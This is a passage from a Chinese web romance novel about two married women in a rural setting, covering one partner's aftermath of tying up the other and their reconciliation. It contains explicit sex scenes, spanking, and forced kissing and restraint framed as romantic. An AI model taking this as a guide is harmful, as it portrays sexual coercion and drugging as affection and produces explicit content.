呜呜呜呜。 嫩嫩的地方被主人主动喂过去,又被人冷脸嘬了许久,颜色便深了许多。 只见宋渝归冷冷将其吐出来,又用同样十分冷淡的语气说,“换一只。” 沈惜枝一愣,接着慌忙无措,便将另一只挺了出去。 “好,好的。” 她多听话呀,就是太固执了。 只相信自己以为的,也是个笨蛋。 宋渝归满含怨念又奈何不了她的低头继续嘬着,女子原本雪白的身子因为心上人的触碰,而微微发抖,还泛着漂亮的粉色,手忍不住一松,披风便从身上滑下去了。 宋渝归:…… 往后仰了仰脑袋,松口,凶巴巴,“沈惜枝,给我披好盖好!” 方才还沉浸在欢愉里的女子立马醒了。 瘪了瘪嘴,委屈的看她一眼,纤纤玉指轻抓住一点披风,又将它拾了起来,披在身上,遮住半片身子,扭扭捏捏的在她身上晃了晃,好一会儿,才敢小小声开口问,“你,你是不是不想看见我的身体呀。” 总是叫我盖着。 宋渝归:…… 不识好人心,就该冻死你。 “快停止你的想象,我都说好几遍了,没有讨厌你,没有不喜欢你,不会不要你,你就是信我一下又如何?” 沈惜枝抿唇,“没有人会和喜欢的人睡在一张床上,却什么都不做的,而且,而且我都脱光了!” 沈惜枝小脸红作一片,小手却握着拳头,分外生气。 宋渝归无力辩解,“那是因为,因为我今天才知道的,我很喜欢你……” 她确实是今天才知道,但在这个时候说出来…… 就显得分外不可信。 果然,沈惜枝坐在她胸口上,居高临下的睨了她一眼,那神情仿佛在说,你看我信吗,你将我当傻子哄吗? 又不信。 不是,怎么就说什么都不信呢? 宋渝归有些焦虑,气呼呼瞪了媳妇儿一眼。 “你瞪我,也是因为喜欢我?” 她话里带了几分嗤笑的意味,让宋渝归人都麻了,放下最后通牒,“你现在把我松开,我好好哄哄你,不然你等我出来你就死定了。” 沈惜枝不以为然,没了唯一对她好的妻子,她活着与死了,有什么区别吗? “你打死我算了,你若要休我,我绝不答应。” 一边说,一边又兴起,抬了抬屁股,在对方挺翘的胸口上不停摩擦,纤长脖颈高高扬起,嘴里不住发出舒服的哼哼声,可惜怕她冷,让她多穿了件衣服,不然…… 原来这处被碰到,是这种感觉啊,我以前都不好意思碰。 当真错过了好一些,如果早点学会就好了。 早一点学会…… 迷蒙的视线落在宋渝归身上,手臂不得不支撑在她脸颊两侧,不然,不然坐不住了唔。 宋渝归咬牙,悄悄的,努力的想把手弄出来。 沈惜枝忽而停住了。 于是她也停了,心砰砰直跳,不,不能是被发现了吧? 只听得女子叹息一声,很有些失落,“如果你能主动亲我一下就好了,一下就好。” 她明明现在是掌控着所有的人,可偏偏说出这句话时却像是有些卑微,像是自己提出了什么绝不能被答应的要求。 宋渝归几乎要翻白眼了,要亲就亲啊,这有什么,我都帮你嘬那啥了,你想被亲,我能不亲你一口吗? “那你低头,把脸伸过来。” 她也知道小枝儿没有安全感,总是不安,今日若非是太过不安了,以她素日胆小的性子,也做不出这种事来,心里虽然怨她笨,嘴上却很有几分平静。 沈惜枝听她叫自己低头,犹豫了一下,往后缩着身子,“你,你不会想咬我吧?” …… 一字一句咬牙切齿,“刚才我都没咬你,现在咬你做什么!笨死你得了!” 她气呼呼。 沈惜枝也生气,不大高兴的瞪她,“就你的宋姑娘聪明,我笨。” “又钻牛角尖,都说了几百遍了不喜欢宋姑娘,你的小耳朵是摆设吗?” 面上骂人,手上动作不断,声音还不自觉带上几分宠溺。 沈惜枝眼眶莫名又红了一点,“你别想骗我,我,我再也不会被你的甜言蜜语骗了!” 她惯会说好听话的,嘴上总说着有多疼我宠我,可却一根指头也不曾碰过我,大骗子。 雪白的身子微微颤抖,再度伏下来欲咬着她的唇亲吻,宋渝归被强迫了个彻彻底底,她瞪着眼睛,对方也当没看见,闭眸咬了咬她的脸颊,然后一点点描绘着她的唇瓣,最后将红红软软的舌头探进去,逼她接纳自己。 和心上人亲亲的感觉也很好很好,真的很喜欢,如果,如果每天都能亲到就好了。 但这只能是她的妄想…… 妻君不要她了,今日过后,她再也亲不到了。 沈惜枝一想到这,又开始难过起来,雪白圆润的肩头发着抖。 宋渝归一面被强迫,一面努力的往回缩手。 终于!绳子松了! 呵,沈惜枝! 她猛的摁住身上不停磨蹭乱动不老实的娇软身子。 接着就见那还在强行亲她的人,先是眼眸有些茫然,紧接着,眼睛便微微睁大了,震惊不敢置信又带着些许恐惧绝望,好似她是要如何欺负她,多么坏蛋的人一样。 “呵,怎么不亲了。” 宋渝归眼眸眯了眯。 小姑娘已经微微抬起头,退缩的看着她了。 沈惜枝听见她问,咬了咬唇,小声,“我怕你躲。” 本来被绑着没有办法反抗,她才敢为所欲为的,可现在,人都出来了,她自然不敢了,要是低头去亲,却被躲开了,她会碎掉的。 一双水灵灵的大眼睛紧张的望着她,又悄悄去用余光往绑住她的绳子上了,果然松了一边。 心死。 美梦这样快就要醒了。 呜呜呜她一定是要赶我出去了。 宋渝归挺了挺腰,果然语气不善道,“起来。” 沈惜枝小心翼翼起来了,见她揉着后颈坐起来,去解另一只手的绳子,立马乖巧的帮她解腿上的绳子,没有一点儿方才执拗黑化的样子,反而满心满眼都是讨好。 呵,死到临头了知道怕了? 沈惜枝解了两根麻绳后,抱着自己蜷缩在床尾,瑟瑟的望着她 好像今日受委屈的是她,被绑起来强迫的也是她一般。 宋渝归深吸两口气,才勉强冷静下来,凶巴巴,“你刚刚不是很厉害吗,不是压着我吗,还,还让我吃……你怎么不直接坐我脸上!” 沈惜枝蜷着身子,抱住柔弱的自己,哽咽道,“我,我怕你咬我。” 好样的,看起来还真有想过。 呵。 “我跟你说了多少次你误会了你想多了,你听一下又能怎么样!偏不信我,还把我绑起来,上哪学的你,这也是池厢月教你的?” 宋渝归瞪眼。 心里打定主意,如果又是池厢月教的,她非得把那个不学好的也骂一顿不可。 沈惜枝缩了缩脖子,小声,“这,这是我自己想的。” 好。 宋渝归慢条斯理挽袖子,嘴里淡淡道,“过来。” 沈惜枝紧张极了,又不敢不听话,只得一点点,一点点挪过去,谁知才刚到她脚边,就被人拽着手臂,一把拉进怀里。 她心刚刚提起,耳边响起“啪”的一声,些微的刺痛从臀部传来。 沈惜枝愣住了,连头都不敢回。 她,她打我,自从那日之后,她再也没有打过我,这是第一次。 原来……气成这样吗? 沈惜枝也不敢讨饶,头也不抬的依在她怀里,好像那巴掌没打她屁股上一样。 宋渝归狐疑的看了她一眼,没感觉? 不能吧…… 她又隔着披风打了一下,声音十分清脆,并搭配一句看起来很凶的,“知道错了没,下次还敢这样吗?!” 一言不合就绑人,要是给她留下这个坏习惯,以后日子还过不过了? 沈惜枝不说话,她心里觉得已经没有下次了,渝归姐姐这么生气,还打了她,心里肯定厌极了她,又怎会与她有下次? 因此只是将脑袋往她怀里钻,安静的汲取熟悉的,让人很有安全感的淡淡清香,以后就闻不到了。 宋渝归看着甚至比刚刚更翘了点,严丝合缝贴着她手掌心的娇软臀瓣,沉默了。 什么意思,宁愿被打,死不悔改? 气抖冷,“你不会以为我舍不得打你吧?” “啪啪啪” …… 好一会儿后,屋里才安静下来,宋渝归按着人打了好几下,怀里人连个声儿都不出,她自己倒是先舍不得了。 心疼,媳妇儿娇娇嫩嫩的,破点皮她都心疼,更何况是被摁着揍。 算了算了,也是我大意了,没有察觉出她的惶恐害怕,如果我早一点发现…… 就不会这样子。 宋渝归心疼的抱着人又揉了揉刚打过的屁股,这倒让她咬牙发出一声闷哼。 于是语气也温缓下来了,“疼不疼?” 沈惜枝依在她怀里,乖乖摇头。 她想,我哪有资格说疼啊,这本就是我该受着的,只是打一打还好,若她说要休了我…… 那我真是不如死了。 怀里人安静的过分了,宋渝归皱了皱眉,手伸过去,攥着女子尖细滑腻的下巴,迫使她抬头,最后攥了一手的水。 她脸上也全是水,小姑娘哭的厉害,脸跟小花猫似的。 宋渝归嘟囔着小声,“被绑的人是我,被强制爱的也是我,你倒哭的梨花带雨,叫不知情的看了还以为我对你做了什么呢。” 强制爱这个词沈惜枝没听过,但她自己理解了一下,妻子在责怪她的强迫,在恨她。 小姑娘再次泪眼婆娑,想要坐下靠她更近一点,可臀瓣微微发烫,坐不下去,一坐就疼,只能柔嫩的身子拼命往她怀里挤。 “好了,别哭了,我们该算一算账了。” 宋渝归嘴上说着算账,声音却硬不起半分,分明十分柔软,只是被吓到的人仍怕的很,心里已将各种凄惨下场想了个遍,最后只是挑了个最轻的惩罚,小巧玉足往旁边挪了挪,将圆润挺翘的小屁股塞人手心里,小心翼翼问她,“要,要再打几下吗?” 如果只是打一打就好了。 宋渝归:…… 生气,“你当我还是以前的我吗?!” 不,不打啊。 沈惜枝低下头去,甚至有些失落,小手都失了力气,莹白披风自动往下掉,被宋渝归赶忙替她拉住。 小手不再拢着披风,那一对儿雪白的小兔子便自动从里头跳出来了,顶端红艳艳的,是她吃的…… 好像都有些破皮了。 宋渝归凝神,小心翼翼的伸出手指去碰了一下,雪白皮肉先是一颤,下意识往后躲,紧接着反应过来后,又眼巴巴凑过来。 将那团柔软乖巧的放在她掌上,大眼睛忽闪忽闪的,除了湿意便只剩讨好。 怎,怎这么直接,以前那个爱害羞的媳妇儿去哪了? 宋渝归紧张的捏了捏,余光瞥见妻子耳朵与脖子尽数红了,才放下心来,嗯,还是很害羞的。 沈惜枝见她捏了,那不为人知的地方,瞬间便有了些shi意,她咬了咬唇,终于小幅度的拉住妻子的里衣。 在对方抬头后,声音细若蚊呐,“不和离好不好?” …… “你刚刚不是胆子很大吗,一直不信我的话,还说我骗你,不肯松开我,现在又怕了?” 沈惜枝缩了缩脖子,小身子一直在抖,从她解开绳子起就在抖,眼看要吓得不成样了,宋渝归长舒一口气,再度心软,撇了撇嘴,“行了,没人要跟你和离,笨死了。” 她本来就是要回家表明心意的,结果被这一通搅和,话都不知道该从何说起了。 沈惜枝本已认定会得到让人绝望的答案,黑润的眸子提前失了色彩,却不想听见一句,没人要与你和离。 小姑娘怔愣抬头,仍以为自己听错了,“你,你说什么?” 宋渝归冷脸并凶,“我说,不和离,但是你别以为我不和离就代表原谅你了,你就知道给我泼脏水,我说过了,等我出来你就死定了!” 沈惜枝听了这话,心终于安定下来,再度靠进宋渝归怀里,乖乖点头,“嗯,我就算死,也要做你宋家的鬼,我是你明媒正娶回家的妻子,你不能休了我。” 不是,你还真觉得我要弄死你? 披风被宋渝归用力在女子身上包了包,见她一副你想对我做什么我都认的窝囊模样,没忍住,在那肉最多的两团雪白上掐了一把,不重,却直接叫人掉下一串清泪来,红唇死死咬着,尝到血了也不敢松,她不敢哭呀,渝归姐姐定然厌恶了她,否则也不会刚出来就打了她,也不会故意掐她,肯定,肯定是想把她留在身边好好折磨,以报今日之仇。 但……即使是折磨,她也是愿意的。 只要别休了她,别让她们再无关联就好了。 绑人的时候她只想来一次,好歹要来一次啊,她们成婚两年,还一次都没有过呢,来的时候确实很舒服,妻君亲她,舔她,任她作为,但……要面对后果的时候,她又惧了,不想和离,不想离开她的身边,就算死皮赖脸也好,怎么样都好,她怕被人毫不犹豫的丢出去。 她什么都没有了。 “这么笨还敢做出这么大胆的事,你看看,我手都勒红了,怕你在家胡思乱想专门早点回来陪你的,你就这么对我?” 肉都没卖完! 沈惜枝自动忽略了最后一句话,她还是不信,一双眼睛全黏她红彤彤的手腕上去了。 上面有些许勒痕,衬在雪白的皮肉上,格外刺目。 沈惜枝慌了,忙伸手捧着她的手腕,神色极心疼,“怎,怎么这样了,你别挣啊,我打算晚上就把你松开的,疼不疼呀?我给你吹一吹。” 现在知道着急了,早干嘛去了。 宋渝归心里其实也没太生气,她虽绑了我,不信我,强吻我,但说的每一句话,都透着浓烈的情爱,她爱我,才会做错事的,我以后也好好爱她,好好疼她,她就不会再这样了。 第53章 衣裳湿了一大块 “我可等不到晚上,白天你都这样了,晚上……” 她简直不敢想。 青天白日的,古代不是最忌讳白日宣淫吗?怎么我家最胆小害羞的媳妇儿能干出这种事! 沈惜枝咬着一点娇嫩唇瓣,脸红的不行,还是小心的捧着她的手腕,一边吹一边道歉,“我,我是太害怕了,妻君,你原谅我吧。” 以前总觉得别人不要脸,今天发现原来我媳妇儿才是最不要脸那个。 “你觉得你把我绑起来,强迫我,不听我说话,如今说一句你害怕,我就应该原谅你?” 宋渝归反问。 沈惜枝哽了一下,不敢说话。 一双眼睛水润润,慢慢闭上,却是在她手腕处亲了一下,声音轻软,带着一点点撒娇与小心翼翼,“那你要怎样才肯原谅我……” 宋渝归见她这样就生气,道歉,但并无悔意。 于是盯着她恶狠狠道,“我要狠狠惩罚你!” 沈惜枝心霎时提起来了,委屈的扁了扁嘴,但没有为自己开脱,只是乖乖点头,“好。” 一副我认罚的样子,态度还算良好。 发现小说里黑化的大反派喜欢自己还没多久,就要面对她脱的光溜溜在她身上又蹭又亲的场景,宋渝归觉得她没晕过去已经是心理很强大了。 “你知道我想怎么惩罚你吗就说好。” 她瞪人,额角青筋跳了跳,只觉得媳妇儿实在不怎么聪明。 沈惜枝抬头不解的望了她一眼,黑黢黢的眸子清澈见底。 然后,挪了挪小屁股,小心翼翼撅着往她掌心蹭,“这样?” 面团一样绵软,几乎溢出指缝。 宋渝归:…… “我说过我不打你了。” 是,是说过不打了。 但……她又在人身上凑近蹭蹭,抱着她的腰,小脸贴在她胸口,嘟囔着说,“可以打。” 她不知道若不这样惩罚她,妻子还能想出什么法子来,她有一点……害怕。 小姑娘眼眸紧张的抬起,悄悄望了一眼,又赶忙垂下,胆小的厉害。 宋渝归一眼看破,冷笑,“哼,做的时候不怕,现在怕了?” “你连,连这个都敢喂我吃,还有什么好怕的?” 宋渝归托了一下沉甸甸的一团。 沈惜枝小脸红了又红,“我,我……” 我了半天,说不出一个字。 见她这般模样就没好气,“一天天的,净想着算计我了,吃早饭没?” 身边人沉默不语。 “午饭也没吃吧?” 继续沉默。 呵。 “躺在床上,不许下去,也不许再动什么歪心思。” 没把事情解决完之前,可不敢让媳妇儿做饭了,万一又被药倒了呢? 穿越倒霉,喜欢上这种小没良心的更是倒了八辈子霉。 沈惜枝听她语气凶凶,哪还敢有什么歪心思啊,满心满眼想着,如何才能得她原谅,如何才能安稳的继续做她妻子。 她不想把这个位置让出去,若是真要被休,日后看着旁人做成她妻子,她一定会嫉妒死的。 宋渝归不大会做饭,只简单的煮了两碗面,端进屋里,一边收拾被自己摆了东西的桌面,一边喊人,“过来吃饭。” 身后没有动静,她摆好筷子,扭头看,不看不知道一看吓一跳,“嚯,你干嘛?” 只见那柔柔弱弱的小姑娘,像她一样,被束缚在了床上,摆出x字,雪白的身体呈现在她面前。 往上看,是水滴形的挺翘小兔,往下看,小腹之下……粉嫩幽深,被迫分开一点,合不拢,于是什么都被她看光了。 宋渝归深吸一口气,竭力抑制住狂蹿的心跳,就见对方小心翼翼望过来,声音也又轻又软,“你,你想怎么样惩罚我都可以。” 首先,她不是禽兽,其次,她没说过要这样惩罚人,最后……这样也不是不行。 宋渝归俏脸一红,勉强压制着心底不好的念头,低头咳了一声,“别闹,先吃饭,吃完,吃完我给你绑,你这样手腕会疼的。” 她自己尝过了,哪能不知道疼。 沈惜枝愣愣的,由妻子帮她解了麻绳。 她皮肤娇嫩,只是绑过一会会,已然红了一圈。 看看自己,又看看妻子手腕上仍未褪去的淤痕,心尖一酸,眼泪便啪嗒啪嗒往下掉,垂下头,声音里满是自责,“都怪我,我没想那么多,我只是怕你不要我了。” 宋渝归面无表情,听听你自己在说什么,怕我不要你就把我绑起来? 你个小姑娘,能绑我多久? 等我出来了不想想后果吗? 笨蛋就是笨蛋。 “哼,不许哭了,去吃面。” 她指使着,沈惜枝不敢再违抗她的命令,很乖很乖就去了,将披风系在身上,端了碗小口小口吃面。 宋渝归正想问怎么不坐,想到那被自己不留情面揍了十几下的屁股,沉默了,心虚的摸摸鼻子,咳,疼一下也好长记性嘛,下次就不会再做错了。 面是猪油清汤面,上头盖着两个荷包蛋,蛋黄都有些散了,宋渝归不那么会做饭,煎蛋的时候一时没把握住,蛋黄就散开了。 不过沈惜枝不在意这些,她知道是妻君煮的面,低头吃的干干净净。 宋渝归早上心绪烦乱,也没吃早饭,中午也没吃午饭,这一晃眼都要闹到晚上了,自然是饥肠辘辘,早早把面吃完,坐在一边看沈惜枝吃。 沈惜枝吃干净后,小心的放下碗,抿了抿唇,低头看去,等待指示。 反正,反正她让我做什么我就做什么。 宋渝归望了媳妇儿一眼,扭头往一边箱子里倒腾,片刻,寻出来几个布条,低头耐心的缠在麻绳上。 沈惜枝也没真笨到这种地步,见她举动心里便有数了,一时心中感动不已,两眼泪汪汪,欲语泪先流。 宋渝归只看了一眼,就十分无语,“憋回去,不许哭,你绑我的时候就没想过会有这一天?” 沈惜枝乖乖摇头,她真没想到,在她心里,妻君不喜爱她,在她绑了妻君后,最可能达成的结局便是,妻君将她休弃。 怎会绑她? 再说,如果妻君真要绑…… 她心里亦是很愿意的。 可是她自认没有那般大的魅力,妻君亦不会对她做出如此有占有欲的举动。 沈惜枝沉默不语,宋渝归就当她是怕了,神色得意一瞬。 哼,对小媳妇儿就是要凶一点,她才会怕,不然温温柔柔的,每天都被爬到头上去。 “自己躺?” 她问了一句,沈惜枝乖乖躺床上,乖巧鹿眸澄澈的望着她,仿佛在说,你想做什么我都能承受。 哼哼。 宋渝归脸上并没有笑意,低头给人绑绳子的动作却很温柔,生怕勒着她,甚至可能,沈惜枝使点劲儿自己也能挣脱出来。 她方才想了一下,惜枝不知为何固执的不信她,坚定认为她喜欢的是旁人,还,还将她绑了一边哭一边对她做那种事。 那种事在她心里,是只有最亲密的人才能做的,是不是只要她也对惜枝…… 惜枝就能多相信她一点了? 手腕与脚踝一一被绑上,纤细的手腕仿佛一折就断,却无助的被人绑在头顶,失去了行动能力,她心中也有些不安,看着宋渝归的神色愈发忐忑。 屁股上还传来一些尖锐的刺痛感,让她忍不住抬了抬小屁股。 宋渝归第一回干这种事,心里也很紧张,忍不住眼观六路,耳听八方,见状微微低头,望见悬空的白嫩娇臀,小声笑了,紧张感散去大半,“怎么,屁股疼?” 沈惜枝抿抿小嘴巴,不好意思看她,悄悄又把屁股放下去了,然而她速度不及人家手快,那只手捞在她臀上,小心的揉了揉,“肿了一点,睡前我给你上点药。” 给,给我上药啊,她想到伤处,想到她若要帮忙上药会以何等姿势…… 就想把脸埋起来了,可是埋也埋不了,只能微微侧脸,不好意思看人。 宋渝归又不是瞎子,哪能看不出小姑娘的羞怯,但问题是,你刚才不羞,什么都往我嘴里塞,现在擦个药就羞了? 啥毛病啊。 昏暗的屋内,外头天色已暗下许多,她却懒得点等,只借着一点光亮观察枕边人娇羞又担忧的神色。 两种神态如此矛盾,但就是出现在她脸上。 微凉的指尖轻轻被扣上,宋渝归覆身上去,还有心思问,“冷不冷?” 沈惜枝红着脸摇头,“不,不冷。” “不许骗人,若是感染风寒,你就死定了。” 厚厚的被子盖在身上,隔绝了外头凉嗖嗖的空气,沈惜枝乖乖点头,从她碰她起,浑身汗毛都几乎要炸开了,哪里还会觉得冷,只有许多许多的燥热难言。 纤长脖子仰着,想去亲她,又不敢。 到底是亲吻的滋味太好了,但她想,惩罚应该让她难受才是,妻君怎么会给她亲亲? 刚想完,朱唇压下来,竟真衔住了她的唇瓣。 沈惜枝震惊瞪眼,亲,亲了,真亲了?妻君主动亲我了,渝归姐姐主动!亲我了! 这一认知几乎让她敏感到承受不住。 宋渝归刚忍着羞涩探下手去,愣住,默默将手抽出来,上头挂着透明的汁液,有许多,足以见……这人有多动情。 沈惜枝羞愤欲死,明知自己现在是戴罪之身,却还是没忍住咬着唇凶了一句,“你,你别看我!” “啧,你的东西,把我手都弄湿了,还不许我看?” 刚发现时宋渝归也很不好意思,然而惜枝竟比她还要不好意思,她瞬间就好意思了。 沈惜枝睁了睁水润的眸子,想说点什么,又说不出口,最后还是心虚的垂下纤长浓密的眼睫,遮住眼底的害羞,雪白的身子却是遮不住的,一点一点泛着粉色,好看极了。 宋渝归欣赏一会儿,默不作声将手擦在小姑娘肚子上。 惊的人小声叫了叫,倒没好意思问她要干嘛,只是默不作声承受了。 她以为会有很凶很凶的惩罚,比如绑着她不让她出门,将她关起来打她,饿她几天,却想不到是这样子的…… 妻子说她从小到大见过的女子身体只有她自己,所以想仔细看看…… 于是她乖乖将腿分的更开了,嫩色小缝从上到下都叫人看光了。 她以为妻君只是好奇,只是想看看,谁知道,“呜” 女子泪意布满双眸,浑身上下最最娇嫩,受不得折磨的地方,被人用指尖捻着来回欺负了好几下。 纤软的腰肢高高拱起,又无力落下。 垫在身后的披风渐渐湿透了,直到柔软之物温柔的覆在上面。 宋渝归颇为不好意思的直起身子,薄唇还有些润润的,挠头想,好像做的有点过了。 沈惜枝仰着脖颈,双眸失神,从她吻上来那一刻起,便源源不断有水分流失,一小股接一小股的吐出来,何止湿了披风。 夜风吹打在木门上,单薄的木头并无法隔绝太多声音,有个人扯着嗓子在外面叫,“惜枝,渝归,你们散步吗?出来散步啊,一整天没看见你们了。” 宋渝归被这一声叫的回过神来,低头一看,简直大开眼界,“这,我……” 外面人还在喊,“我进来了喔。” 吓得她连忙回应,“等会儿!不许进!” 被拦在栅栏外的池厢月:? “为啥!” 她极不情愿。 宋渝归闭了闭眼睛,道,“很晚了,我和惜枝要休息了,你赶紧回去。” 池厢月不满,“还这么早,你们有什么好休息的!” “惜枝困了,你自个儿出去散步吧。” “哎呀,真烦你们小妻妻,整日黏黏糊糊排挤人!” 池厢月被拒,负气离去。 宋渝归紧张回身,低头小小的咳嗽了一下,小心翼翼问媳妇儿,“要,要喝水不?” 没了这么多水,应该渴了吧? 媳妇儿张了张嘴,却发现身体仍留在颤抖的余韵中,说不出话来,只能闭口不言,眼眸泛着星点水光,微微点头。 “哦哦,好。” 宋渝归见媳妇儿点头,立马去倒了两杯凉掉的茶水,一杯自己一口气喝了,一杯放在手心里搓了搓,将人扶起来,一点一点喂她喝。 沈惜枝精神还在恍惚,心中忍不住想,真是另类的惩罚方式,她究竟分不分得清,什么于我而言是惩罚,什么于我而言是奖赏? 这是奖励,才不是什么惩罚呢,笨蛋妻君。 离家出走的力气正在一点点回来,沈惜枝低头看向自己刚刚被解开的手腕,也有很深的红色。 布条再柔软,她耐不住时会奋力挣扎,也定会勒出痕迹。 但比妻子的轻多了,是她想的不够周到。 沈惜枝很后悔。 “妻君。” 因此隔了好一会儿才开口唤人。 宋渝归第一次对人做这种事,还处在大脑混乱之中,一听见媳妇儿的声音,下意识就应了,“嗯?” 沈惜枝拧巴着小声,“今日之事,对不起。” “对不起,然后呢?” 然后,然后她不知道说什么了嘛。 小姑娘悄悄伸手,环住心上人的腰,又看她一眼,见她并不反感不悦,一颗心才放了下来,低头思考一会儿,想到,声音软乎,“你可以继续惩罚我,只要你能消气,怎么对我都可以的。” 宋渝归心里的气倒没多少,但听见惜枝这语气,知道她并不生气,自己心里也轻松许多。 本来还以为玩过头了,好歹要哄一哄媳妇儿,谁知道媳妇儿不生气,差点都忘了,如今我才是站在道德制高点的人! 哼。 宋渝归又悄悄在心里站起来了。 故意冷脸,“哼,我正想说呢,那就罚你以后什么都要听我的,也不许不信我,我说什么就是什么,不许怀疑!” 沈惜枝没多犹豫,一口应下,小脑袋点的跟小鸡啄米似的,不知道的还以为这个要求做起来很容易呢,但她沈惜枝,从来就没做到过! 不听她的话也不信她。 “那你,真的不休我?” 她说完,就被人扯了扯衣角,扯她的人嘴角向下,水润的大眼睛乖巧又可怜。 虽然是故意装出来博取怜惜的。 宋渝归轻哼一声,本来想说看你表现吧,但见她攥自己衣裳攥的指节发白,可见心里有多紧张,沉默了一下,还是安了她的心,低声道,“嗯,不休。” 连那句,我可没有钱娶第二个媳妇儿了,都没有说出口,怕惜枝又胡思乱想。 “屁股凉不凉?” 宋渝归低头,见她坐在自己湿透的披风上。 小媳妇儿后知后觉,脸蛋一红,她,她坐着自己的东西…… 一开始是热的,可现在,早已凉嗖嗖了。 “啊” 沈惜枝小声惊呼,两条手臂愈发抱紧了妻子,眼神柔怯,“有,有点凉。” 于是宋渝归甩了甩手臂,将纤细柔弱的女子一把抱起,挪到最里面去,指挥她自己盖被子,然后开始收拾湿透的披风和底下一层薄被。 薄被也被浸湿了个透彻,瞧着跟……尿床似的。 宋渝归低头掩住几分笑意,没了薄被,沈惜枝只能光屁股坐在稻草上。 稻草有点扎…… 小姑娘撇了撇嘴。 等宋渝归烧完热水回来后,她已经从坐着变成蹲着了。 一看见宋渝归眼睛就是一亮,但不似以往般会直接扑过来,只是蹲在那,柔声叫,“妻君~” 跟她讨好人时的姿态一毛一样的。 偏宋渝归就吃这一套,脸上还冷着,声音却已经软和下来了,“来,捏着这一头,今晚睡这个。” 她们家就一个薄被当床单,以及一张很久以前的破床单,现在薄被湿透了,只能暂且用一下破床单。 沈惜枝皱着小鼻子颇为嫌弃,不情不愿,“会很扎人的。” 扎人谁不知道,但也没办法啊,谁让惜枝…… 那样多汁,早知道拿几件旧衣服垫着了,果然第一次开荤就,就会比较猛一点。 “晚上你睡我怀里,我抱着你睡就不扎人了。” 其实也不用她特意说,哪个晚上沈惜枝不是抱着她,将自己大半个身子都压在她身上的? 她早都习惯了。 沈惜枝眼里闪过光亮,原本觉得扎人不好,现在一下子就喜欢了。 她喜欢和妻子近距离接触,越近越好。 最好她随时能亲亲她,摸摸她。 “嗯!” “明天我再去镇上买个新的床垫今天就先这样吧。” 堂前的热水滚了,她慌忙去熄火,将热水加凉水一齐兑在木盆里,又费劲儿的端进屋里。 “过来,给你擦擦。” “妻君给我擦吗。” 沈惜枝乖乖从床上下来,一道透明水痕顺着腿,蜿蜒流到脚踝上,她又红了脸,忍不住想,怎么,怎么还有呀,幸好渝归姐姐没看见,不然真是要羞死人了。 宋渝归朝沈惜枝招了招手,沈惜枝立马依过去,躲进她怀里,在这方面,她多次为了勾引妻子,本就不算保守的。 小屁股圆润挺翘的,一只手都握不住。 宋渝归打湿了帕子,小心的将人湿乎乎的地方擦了个遍。 有些地方格外娇嫩,力道大不得一点,她掌握不好,就欺的媳妇儿不停在她怀里哼哼。 但,但这有什么办法嘛,不用力擦不干净的呀。 宋渝归咬牙道,“你忍一忍,你忍一忍不行吗?” 好不容易擦完了,又脏了,宋渝归:…… 也不知是好是坏,以后家里要多备几个垫子了,她颇为忧心的想。 擦洗完后,宋渝归着重注意了一下女子红肿的娇臀。 虽然她觉得错主要还是在惜枝,如果惜枝不行事太极端了也不会变成这样,但……打人是她打的。 心疼的也是她。 宋渝归动手揉了揉,声音愈发柔软,“去躺着,我给你抹点药。” 家里有备消肿的药,今日刚好用上了。 “哦。” 沈惜枝乖乖在床上趴好了。 她今日一整日都没穿衣服,雪白的一团被压的扁扁的。 微凉膏体涂在人身上,驱散了原本火辣刺痛的感觉,好生舒服。 月明星疏,今日的闹剧暂时落了幕,宋渝归揽着媳妇儿准备睡觉,完全没想起自己带回来的糖画以及一大包袱哄人的东西。 沈惜枝倒是想起来了,包袱里是什么她不知道,但她知道,那有一根送了宋姑娘却被退回来的糖画。 她故意不说,不想让妻子记起别人来,娇软雪白的身子往宋渝归身上蹭。 宋渝归揽着人再三强调让她不要胡思乱想,今日的事绝不能再发生了,沈惜枝都一一应了,仿佛十分乖巧听话的样子。 但她知道,假象,都是假象,关于村花的事她都解释过很多遍了,上次她也信了,结果呢? 有点什么事就拿村花来刺她。 算了,再问下去说不好又哭了,她兜了兜身边人的小屁股,将她搂进怀里,只说了一句睡觉。 沈惜枝侧躺在人怀里,安静闭上眼睛,却过了很久才迷迷糊糊睡去。 今日这两个绑架事件后,她们的身体显然亲近不少。 宋渝归第二天起来,迷迷糊糊感受了一下,下床后的第一件事便是……换衣服。 小腹的位置湿了好大一块,贴着肚子,被风一吹凉嗖嗖的。 第54章 糖画风波 沈惜枝这几日睡得格外少,前日更是一晚上都没睡,今日便睡得久了些,一直抱着妻子手臂,将小脸蛋儿埋人家肩膀里,睡得红扑扑粉嫩嫩的。 宋渝归起来换衣服,她还老大不乐意,不耐的嘤咛一声。 等她换完衣服再躺下去,嗅到熟悉的味道,小手立马扒拉着她新换的衣裳,柔嫩身子又黏人的贴过来了。 宋渝归心想,再把我衣服弄湿,你就惨了! 幸而小惜枝这次格外老实,只是睡在她右侧,腿没有大喇喇的搭上去。 等过了好久,太阳都晒屁股了,才终于一点点睁开眼,眸光茫然惺忪,但带着乖巧,往下看到宋渝归时,便是一喜,“妻君!” 她下意识叫出了最熟悉的称呼,嗓音软软,神色依赖,“你怎么没去镇上呀。” 宋渝归早就醒了,懒洋洋看着怀里的媳妇儿,揽了揽她,微微颔首,“我今天休息一下。” 其实是留下来陪她的,但是不好意思说。 沈惜枝只是听见她说休息一下,就已经足够愉悦了。 “那,那我中午给你做你上回想吃的什么把子肉好吗,你昨天带肉回来了吗?” “嗯,带了啊,带了好多,你喜欢哪块肉自己挑,挑一个肥瘦相间的,吃起来好吃,家里有青椒不?” “嗯?” 沈惜枝不解,歪了歪头,一脸疑惑,“妻君,何为青椒?” 宋渝归就知道了,这时候还没有青椒。 痛苦面具,那我的青椒酿肉怎么办! “没事,不要这个了。” “哦。” 沈惜枝乖乖应了一声,见妻子莫名失落,心中也心疼着,又小心翼翼凑过去,将下巴放在她肩膀上,长臂环住她的腰。 “不难过,妻君不难过。” 她看出来她难过了。 宋渝归心里顿时熨帖不少,小媳妇儿真贴心。 “嗯,没事,现在这样也很好。” 虽然没了爸妈,但她还有老婆啊! 安慰一下自己,有老婆也很好。 我老婆超乖超软超听话的。 沈惜枝本就是敏感多思的性子,听她这样说,心里忍不住又开始想旁的去了,眉心忧虑的微微蹙起。 什么叫这样也很好,她本来觉得有哪里不好吗? 是不是跟我在一起,她后悔了,觉得不好,但又没有旁的选择,只能和我在一起? 沈惜枝如临大敌,面色凝重。 宋渝归说要出去看看猪有没有饿死,便先去了,让她准备一下午饭。 昨天她们闹了一天,猪都没喂,掰几个白菜帮子给它垫吧垫吧吧。 